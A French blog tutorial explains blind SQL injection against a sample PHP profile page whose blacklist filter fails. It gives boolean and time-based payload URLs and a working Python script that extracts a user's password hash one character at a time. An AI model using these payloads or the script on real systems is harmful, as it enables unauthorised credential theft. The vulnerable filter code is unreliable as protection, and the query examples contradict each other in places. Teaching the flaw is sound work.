Les protections contre les formes standard d’injection SQL peuvent être facilement contournées suivant la manière dont elles sont implémentées. Valider les entrées utilisateur en restreignant une liste de caractères ne suffit pas ! Dans cet article nous allons voir comment récupérer le mot de passe d’un utilisateur grâce à une Blind SQL Injection.

Contexte

Prenons l’exemple simple d’une application web écrite en PHP permettant d’accéder à une zone sécurisée. Nous avons donc une page d’accueil, une page de login, un profil d’utilisateur (accessible publiquement) et une page privée nécessitant d’être authentifié.

Dans cet article, l’attaque ne se porte pas sur le processus d’authentification mais sur l’exploitation des messages d’erreur lorsque la validation des entrées utilisateurs.

Code source

Voici le code source de la page qui permet d’afficher le profil de l’utilisateur ayant l’identifiant numéro un (l’administrateur). Lors de l’appel de la page on passe l’identifiant de l’utilisateur :

http://www.exemple.com/profile.php?id=1

Le code suivant est alors exécuté :

<?php

include 'config.php';
include 'database.php';

$db = mysql_connect($serveur, $user, $password) or die('Erreur de connexion');

function valid_input( $input ) {
    // Si l'entrée contient certain caractères exclu
    // on affiche une erreur
    if ( preg_match("'|\"|-|\/\*|\*\/", $input) ) {
        die("Filtre contre les injections SQL activé !");
    }
    return addslashes(trim($input));
}

$id = valid_input( $_GET['id'] );

$sql = "SELECT * FROM `users` WHERE id=$id;";
$req = mysql_query($sql) or die("Erreur lors de la requete");

if (mysql_num_rows($req) == 0) {
    die("L'utilisateur n'existe pas");
} else {
    $rep = mysql_fetch_array($req, MYSQL_ASSOC);
    // afficher l'utilisateur...
}

Analyse

Analysons un peu se code ! Lorsque l’utilisateur veut accéder au profil d’un utilisateur, l’identifiant de celui-ci doit être passé dans l’URL. Cet identifiant est ensuite passé dans une fonction de validation. Cette fonction recherche les caractères :

' " - /* */

et affiche un message d’erreur si l’un d’entre eux est présent. Sinon, la requête SQL est construite et exécutée. Dans le cas où la requête ne renvoie aucun utilisateur, message « L’utilisateur n’existe pas » est affiché. Sinon, on récupère les informations et le profil est ensuite affiché (cette partie n’est pas dans l’exemple car elle n’a pas d’incidence sur la faille).

La faille

La faille de cette application réside dans la validation des entrées utilisateur. La variable id est passée dans une fonction qui détecte certains caractères et rajoute des backslashs (\) devant les caractères spéciaux. Cependant, la requête SQL est malgré tout injectable. En essayant l’URL suivante :

http://www.exemple.com/profile.php?id=1 and sleep(10)

On se rend compte que la page met plus de 10 secondes avant d’être affichée, il est possible de modifier le comportement de la requête !

Maintenant que nous savons que nous pouvons modifier le comportement de la requête, nous devons trouver un moyen pour récupérer de l’information. Pour ce faire nous pouvons tirer parti des messages qui nous sont retournés. Nous avons deux états possibles, lorsque l’utilisateur est trouvé, son profil s’affiche. Sinon un message disant que l’utilisateur n’existe pas s’affiche.

Pour récupérer de l’information, nous avons la possibilité de tester une condition, si la condition est vraie, alors l’utilisateur s’affiche, sinon le message d’erreur s’affiche.

http://www.exemple.com/profile.php?id=1 and 1=2

La requête précédente affiche le message d’erreur car la condition globale n’est pas vraie : un utilisateur ayant un id = 1 est vrai mais 1 n’est pas égal à 2. Par contre, la requête suivante affiche le profil rechercher car 1=1 est toujours vraie.

http://www.exemple.com/profile.php?id=1 and 1=1

Nous avons maintenant toutes les clés en main pour récupérer le mot de passe de l’utilisateur !

En rajoutant la condition suivante nous pouvons tester un par un les caractères du mot de passe de l’utilisateur.

http://www.exemple.com/profile.php?id=1 and SUBSTRING(password,1,1)=char(32)

La requête créée et exécutée avec l’URL précédente est la suivante :

SELECT * FROM `users` WHERE id=1 and SUBSTRING(password,1,1)=char(97);

Elle renvoie l’utilisateur ayant l’identifiant égal à 1 et ayant la sous-chaine de 1 caractère à la position 1 du champ password égal au caractère ayant la valeur ASCII 97 !

Si le profile de l’utilisateur est affiché, cela signifie que le premier caractère du mot de passe de l’utilisateur est égal à ‘a’.

Exploitation

Exploiter cette faille prend du temps. Pour chaque caractère il faut tester un nombre important de caractères (alpha-numéric + caractères spéciaux). Une fois un caractère retrouvé, il faut recommencer le processus. Un script python fera parfaitement l’affaire.

#!/usr/bin/env python2.7

import sys
import urllib2
from HTMLParser import HTMLParser

baseUrl = "http://www.exemple.com/profile.php?id=1%20and%20"

field = "password"

if len(sys.argv) > 1 :
  field = sys.argv[1]

print("Testing the field : " + field)

hasNext = True
subStringPosition = 1
valuePosition = 0

findPass = ''

# chars values to test to test
value = range(32, 127)

while hasNext:
  # get the next value to test
  nextValue = value[valuePosition]
  
  # generate the exploit
  sqlExploit  = "SUBSTRING(" + field + "," + str(subStringPosition) + ",1)="
  sqlExploit += "char(" + str(nextValue) + ")"
  
  # make the request
  testUrl = baseUrl + sqlExploit
  
  # get the response
  response = urllib2.urlopen(testUrl)
  html = response.read()

  # check if no error is found
  if "Erreur" not in html:
    findPass += str(chr(nextValue))
    print('Next char found')
    print(findPass)
    subStringPosition += 1
    valuePosition = 0

  # pass to the next char
  valuePosition += 1
  valuePosition %= len(value)

  # if all char are tested without find anything
  # it's because all the pass has been retreive
  if valuePosition == 0:
    hasNext = False

print('Result for ' + field + ':')
print(findPass, len(findPass))

Le script ci-dessus crée un tableau des caractères à tester. Si le message d’erreur n’apparaît pas, alors le caractère est validé. Si aucun caractère n’est validé pour la position actuelle, alors le script s’arrête, le mot de passe est récupéré entièrement.

Résultat obtenu :

Testing the field : password
Next char found
E
Next char found
E9
Next char found
E96
...
Next char found
E969E711D936D8C99A4FE36B86A04C1B
Result for password:
('E969E711D936D8C99A4FE36B86A04C1B', 32)

Dans ce cas, on constate que le mot de passe a été haché. Récupérer le mot de passe se trouve être un autre sujet d’article.

Développeur et passionné de nouvelles technologies, j'exerce à mi-temps dans une agence digitale suisse. En parallèle, je poursuis mes études de Master en systèmes d'informations complexes. Depuis quelque temps, mon intérêt grandissant pour les enjeux de sécurité au sein des solutions web m'a amené à créer ce blog.

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *